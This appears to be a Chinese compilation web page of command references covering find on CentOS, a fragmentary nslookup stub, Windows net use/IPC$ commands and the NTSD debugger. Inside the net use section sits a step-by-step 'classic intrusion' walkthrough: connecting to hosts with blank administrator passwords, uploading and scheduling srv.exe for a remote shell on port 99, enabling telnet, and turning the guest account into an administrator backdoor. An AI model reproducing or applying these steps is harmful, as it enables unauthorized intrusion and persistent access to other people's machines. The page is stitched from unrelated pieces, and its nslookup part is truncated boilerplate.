一 : CentOS中的find命令详解
1.在某目录下查找名为“elm.cc”的文件
find /home/lijiajia/ -name elm.cc
2.查找文件名中包含某字符(如"elm")的文件
find /home/lijiajia/ -name '*elm*'
find /home/lijiajia/ -name 'elm*'
find /home/lijiajia/ -name '*elm'
3.根据文件的特征进行查询
find /home/lijiajia/ -amin -10
#查找在系统中最后10分钟访问的文件
find /home/lijiajia/ -atime -2
#查找在系统中最后48小时访问的文件
find /home/lijiajia/ -empty
#查找在系统中为空的文件或者文件夹
find /home/lijiajia/ -group cat
#查找在系统中属于groupcat 的文件(试了,命令不对。)
find /home/lijiajia/ -mmin -5
#查找在系统中最后5 分钟里修改过的文件
find /home/lijiajia/ -mtime -1
#查找在系统中最后24 小时里修改过的文件
find /home/lijiajia/ -nouser
#查找在系统中属于作废用户的文件(不明白是什么意思)
find /home/lijiajia/ -amin 10
#查找在系统中最后10分钟访问的文件
find /home/ftp/pub -user lijiajia
#查找在系统中属于lijiajia这个用户的文件
(PS:以上都是在 /home/lijiajia/文件夹下进行的操作)
4.使用混合查找方式查找文件
find /tmp -size +10000000c -and -mtime +2
#查找/tmp目录中大于10000000字节并且在48小时内修改的某个文件
find /tmp -user tom -or -user george
#查找/tmp目录中属于tom或者george这两个用户的文件
find /tmp ! -usr fred
#查找/tmp目录中不属于fred的文件
5.查找并显示文件
find /home/lijiajia/ -name 'elm.cc' -ls
#在目录下查找名为“elm.cc”的文件,并显示这些文件的信息
二 : Nslookup命令详解
2007-05-15 14:46:15
标签:Nslookup命令[推送到技术圈]
Nslookup显示可用来诊断域名系统 (DNS) 基础结构的信息。[www.61k.com]只有在已安装 TCP/IP 协议的情况下才可以使用 Nslookup 命令行工具。 扩展:nslookup / nslookup命令 / nslookup指定dns 扩展:nslookup / nslookup命令 / nslookup指定dns |
扩展:nslookup / nslookup命令 / nslookup指定dns
三 : net use命令详解
1)建立空连接:net use \\IP\ipc$ "" /user:"" (一定要注意:这一行命令中包含了3个空格)
2)建立非空连接:
net use \\IP\ipc$ "密码" /user:"用户名" (同样有3个空格)
3)映射默认共享:
net use z: \\IP\c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推)
如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$
4)删除一个ipc$连接
net use \\IP\ipc$ /del
5)删除共享映射
net use c: /del 删除映射的c盘,其他盘类推
net use * /del 删除全部,会有提示要求按y确认
3 查看远程主机的共享资源(但看不到默认共享)
net view \\IP
4 查看本地主机的共享资源(可以看到本地的默认共享)
net share
5 得到远程主机的用户名列表
nbtstat -A IP
6 得到本地主机的用户列表
net user
7 查看远程主机的当前时间
net time \\IP
8 显示本地主机当前服务
net start
9 启动/关闭本地服务
net start 服务名 /y
net stop 服务名 /y
10 映射远程共享:
net use z: \\IP\baby
此命令将共享名为baby的共享资源映射到z盘
11 删除共享映射
net use c: /del 删除映射的c盘,其他盘类推
net use * /del /y删除全部
12 向远程主机复制文件
copy \路径\srv.exe \\IP\共享目录名,如:
copy ccbirds.exe \\*.*.*.*\c 即将当前目录下的文件复制到对方c盘内
13 远程添加计划任务
at \\ip 时间 程序名,如:
at \\127.0.0.0 11:00 love.exe
注意:时间尽量使用24小时制;在系统默认搜索路径(比如system32/)下不用加路径,否则必须加全路径
14 开启远程主机的telnet
这里要用到一个小程序:opentelnet.exe,各大下载站点都有,而且还需要满足四个要求:
1)目标开启了ipc$共享
2)你要拥有管理员密码和帐号
3)目标开启RemoteRegistry服务,用户就该ntlm认证
4)对WIN2K/XP有效,NT未经测试
命令格式:OpenTelnet.exe \\server account psw NTLM认证方式 port
试例如下:c:\>OpenTelnet.exe \\*.*.*.* administrator "" 1 90
15 激活用户/加入管理员组
1 net uesr account /active:yes
2 net localgroup administrators account /add
16 关闭远程主机的telnet
同样需要一个小程序:ResumeTelnet.exe
命令格式:ResumeTelnet.exe \\server account psw
试例如下:c:\>ResumeTelnet.exe \\*.*.*.* administrator ""
17 删除一个已建立的ipc$连接
net use \\IP\ipc$ /del
九 经典入侵模式
这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈)
1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。
复制之前务必用net view \\IP这个命令看一下对方的共享情况
2. C:\>copy srv.exe \\127.0.0.1\admin$
先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。
3. C:\>net time \\127.0.0.1
查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。
4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)
5. C:\>net time \\127.0.0.1
再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令。
6. C:\>telnet 127.0.0.1 99
这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。
虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了
7.C:\>copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
8. C:\WINNT\system32>ntlm
输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!
9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)
为了以防万一,我们再把guest激活加到管理组
10. C:\>net user guest /active:yes
将对方的Guest用户激活
11. C:\>net user guest 1234
将Guest的密码改为1234,或者你要设定的密码
12. C:\>net localgroup administrators guest /add
将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)
另外,你也可以根据返回的错误号分析原因:
错误号5,拒绝访问:很可能你使用的用户不是管理员权限的,先提升权限;
错误号51,Windows无法找到网络路径:网络有问题;
错误号53,找不到网络路径:ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
错误号67,找不到网络名:你的lanmanworkstation服务未启动或者目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个ipc$,请删除再连;
错误号1326,未知的用户名或错误密码:原因很明显了;
错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动;
错误号2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码
在使用这种方法屏蔽网络映射功能时,只需要先打开系统的运行对话框,并在其中执行“cmd”字符串命令,将系统界面切换到MS-DOS命令行状态;接着在DOS提示符下执行“net use x:/del”字符串命令,就能将网络磁盘分区为“X”的网络映射连接断开了,要想快速地将本地计算机中所有的网络映射连接断开的话,只需要执行“net use * /del”字符串命令就可以了。
四 : NTSD命令详解
NTSD命令详解
Process File: ntsd.exe
Process Name: Symbolic Debugger for Windows
Description: ntsd.exe is a process belonging to the Microsoft symbolic debugger that enables you to debug user-mode applications. This program is non-essential process to the running of the system, but should not be terminated unless suspected to be causing problems. Recommendation: Should not be disabled, required for essential applications to work properly.
Author: Microsoft
Part of: Microsoft Windows Operating
文件细节
文件道路: C:\WINDOWS\system32 \ ntsd.exe
文件日期: 2002-08-29 14:00:00
版本: 5.1.2600.0
文件大小: 31.744 字节
检查和和文件hashes
CRC32: 6D35F411
MD5: 8F0A 81E2 3718 E1C9 A4FD 5615 2CAE B88C
SHA1: 60B8 B14E 2D9E A685 4A08 AF82 880C 4116 CE1D C10D
版本资源信息
公司名称: Microsoft Corporation
文件描述: Symbolic Debugger for Windows 2000
文件操作系统: Windows NT, Windows 2000, Windows XP, Windows 2003
文件类型: Application
文件版本: 5.1.2600.0
内部名: NTSD.Exe
法律版权: ? Microsoft Corporation. All rights reserved.
原始的文件名: NTSD.Exe
产品名称: Microsoft? Windows? Operating System
产品版本: 5.1.2600.0
--------------------------------------------------------------------------------
1. ntsd -c q -p PID
2. ntsd -c q -pn ImageName 比如:ntsd -c q -pn qq.exe
- c是表示执行debug命令
q表示执行结束后退出(quit)
-p 表示后面紧跟着是你要结束的进程对应的PID
-pn 表示后面紧跟着是你要结束的进程名(process_name.exe 比如:QQ.exe,explorer.exe 等等,值得注意的是后缀名.exe是不可省略的,否则系统会告诉你“不支持此接口”)
只有System、SMSS.EXE和CSRSS.EXE不能杀。前两个是纯内核态的,最后那个是Win32子系统,ntsd本身需要它。ntsd从2000开始就是系统自带的用户态调试工具。被调试器附着(attach)的进程会随调试器一起退出,所以可以用来在命令行下终止进程。使用ntsd自动就获得了debug权限,从而能杀掉大部分的进程。
-------------------------------------------------------------------------------- 使用NTSD远程调试程序:
NTSD 调试程序在启动时要求用户指定一个要连接的进程。使用 TLIST 或 PVIEWER,您可以获得某个现有进程的进程 ID,然后键入 NTSD -p pid 来调试这个进程。NTSD 命令行使用如下的句法: NTSD [options] imagefile
其中,imagefile 是要调试的映像名称,options 是下面选项之一:
表 1. NTSD 映像文件选项
选项 说明
-2 打开一个用于调试字符模式的应用程序的新窗口
-d 将输出重定向到调试终端
-g 使执行自动通过第一个断点
-G 使 NTSD 在子程序终止时立即退出
o 启用多个进程的调试,默认值为由调试程序衍生的一个进程
-p 指定调试由进程 ID 标识的进程
-v 产生详细的输出
例如,假设 inetinfo.exe 的进程 ID 为 104。键入以下命令将 NTSD 调试程序连接到 inetinfo 进程 (IIS)。
NTSD -p 104
也可使用 NTSD 启动一个新进程来进行调试。例如,NTSD notepad.exe 将启动一个新的 notepad.exe 进程,并与它建立连接。
一旦连接到某个进程,您就可以用各种命令来查看堆栈、设置断点、转储内存,等等。
表 2. 常用命令
命令 含义
~ 显示所有线程的一个列表
KB 显示当前线程的堆栈轨迹
~*KB 显示所有线程的堆栈轨迹
R 显示当前帧的寄存器输出
U 反汇编代码并显示过程名和偏移量
D[type][<range>] 转储内存
BP[#] <address> 设置断点
BC[<bp>] 清除一个或多个断点
BD[<bp>] 禁用一个或多个断点
BE[<bp>] 启用一个或多个断点
BL[<bp>] 列出一个或多个断点
关于远程调试的更多信息,请参考下述文章: 如何启用远程安装服务器的“调试”模式,请参考下述文章:
http://support.microsoft.com/kb/236033/zh-cn
--------------------------------------------------------------------------------
NTSD用法:
usage: ntsd [-?] [-2] [-d] [-g] [-G] [-myob] [-lines] [-n] [-o] [-s] [-v] [-w]
[-r BreakErrorLevel] [-t PrintErrorLevel]
[-hd] [-pd] [-pe] [-pt #] [-pv] [-x | -x{e|d|n|i} <event>]
[-- | -p pid | -pn name | command-line | -z CrashDmpFile]
[-zp CrashPageFile] [-premote transport] [-robp]
[-aDllName] [-c "command"] [-i ImagePath] [-y SymbolsPath]
[-clines #] [-srcpath SourcePath] [-QR \\machine] [-wake <pid>]
[-remote transport:server=name,portid] [-server transport:portid]
[-ses] [-sfce] [-sicv] [-snul] [-noio] [-failinc] [-noshell]
where: -? displays this help text
command-line is the command to run under the debugger
-- is the same as -G -g -o -p -1 -d -pd
-aDllName sets the default extension DLL
-c executes the following debugger command
-clines number of lines of output history retrieved by a remote client -failinc causes incomplete symbol and module loads to fail
-d sends all debugger output to kernel debugger via DbgPrint
-d cannot be used with debugger remoting
-d can only be used when the kernel debugger is enabled
-g ignores initial breakpoint in debuggee
-G ignores final breakpoint at process termination
-hd specifies that the debug heap should not be used
for created processes. This only works on Windows Whistler. -o debugs all processes launched by debuggee
-p pid specifies the decimal process Id to attach to
-pd specifies that the debugger should automatically detach
-pe specifies that any attach should be to an existing debug port -pn name specifies the name of the process to attach to
-pt # specifies the interrupt timeout
-pv specifies that any attach should be noninvasive
-r specifies the (0-3) error level to break on (SeeSetErrorLevel) -robp allows breakpoints to be set in read-only memory
-t specifies the (0-3) error level to display (SeeSetErrorLevel) -w specifies to debug 16 bit applications in a separate VDM
-x sets second-chance break on AV exceptions
-x{e|d|n|i} <event> sets the break status for the specified event -2 creates a separate console window for debuggee
-i ImagePath specifies the location of the executables that generated the fault (see _NT_EXECUTABLE_IMAGE_PATH)
-lines requests that line number information be used if present -myob ignores version mismatches in DBGHELP.DLL
-n enables verbose output from symbol handler
-noio disables all I/O for dedicated remoting servers
-noshell disables the .shell (!!) command
-QR <\\machine> queries for remote servers
-s disables lazy symbol loading
-ses enables strict symbol loading
-sfce fails critical errors encountered during file searching
-sicv ignores the CV record when symbol loading
-snul disables automatic symbol loading for unqualified names
-srcpath <SourcePath> specifies the source search path
-v enables verbose output from debugger
-wake <pid> wakes up a sleeping debugger and exits
-y <SymbolsPath> specifies the symbol search path (see _NT_SYMBOL_PATH) -z <CrashDmpFile> specifies the name of a crash dump file to debug -zp <CrashPageFile> specifies the name of a page.dmp file
to use with a crash dump
-remote lets you connect to a debugger session started with -server must be the first argument if present
transport: tcp | npipe | ssl | spipe | 1394 | com
name: machine name on which the debug server was created portid: id of the port the debugger server was created on for tcp use: port=<socket port #>
for npipe use: pipe=<name of pipe>
for 1394 use: channel=<channel #>
for com use: port=<COM port>,baud=<baud rate>,
channel=<channel #>
for ssl and spipe see the documentation
example: ... -remote npipe:server=yourmachine,pipe=foobar -server creates a debugger session other people can connect to must be the first argument if present
transport: tcp | npipe | ssl | spipe | 1394 | com
portid: id of the port remote users can connect to
for tcp use: port=<socket port #>
for npipe use: pipe=<name of pipe>
for 1394 use: channel=<channel #>
for com use: port=<COM port>,baud=<baud rate>,
channel=<channel #>
for ssl and spipe see the documentation
example: ... -server npipe:pipe=foobar
-premote transport specifies the process server to connect to
transport arguments are given as with remoting
Environment Variables:
_NT_SYMBOL_PATH=[Drive:][Path]
Specify symbol image path.
_NT_ALT_SYMBOL_PATH=[Drive:][Path]
Specify an alternate symbol image path.
_NT_DEBUGGER_EXTENSION_PATH=[Drive:][Path]
Specify a path which should be searched first for extensions dlls
_NT_EXECUTABLE_IMAGE_PATH=[Drive:][Path]
Specify executable image path.
_NT_SOURCE_PATH=[Drive:][Path]
Specify source file path.
_NT_DEBUG_LOG_FILE_OPEN=filename
If specified, all output will be written to this file from offset 0.
_NT_DEBUG_LOG_FILE_APPEND=filename
If specified, all output will be APPENDed to this file.
_NT_DEBUG_HISTORY_SIZE=size
Specifies the size of a server's output history in kilobytes
Control Keys:
<Ctrl-B><Enter> Quit debugger
<Ctrl-C> Break into Target
<Ctrl-F><Enter> Force a break into debuggee (same as Ctrl-C)
<Ctrl-P><Enter> Debug Current debugger
<Ctrl-V><Enter> Toggle Verbose mode
<Ctrl-W><Enter> Print version information
ntsd: exiting - press enter ---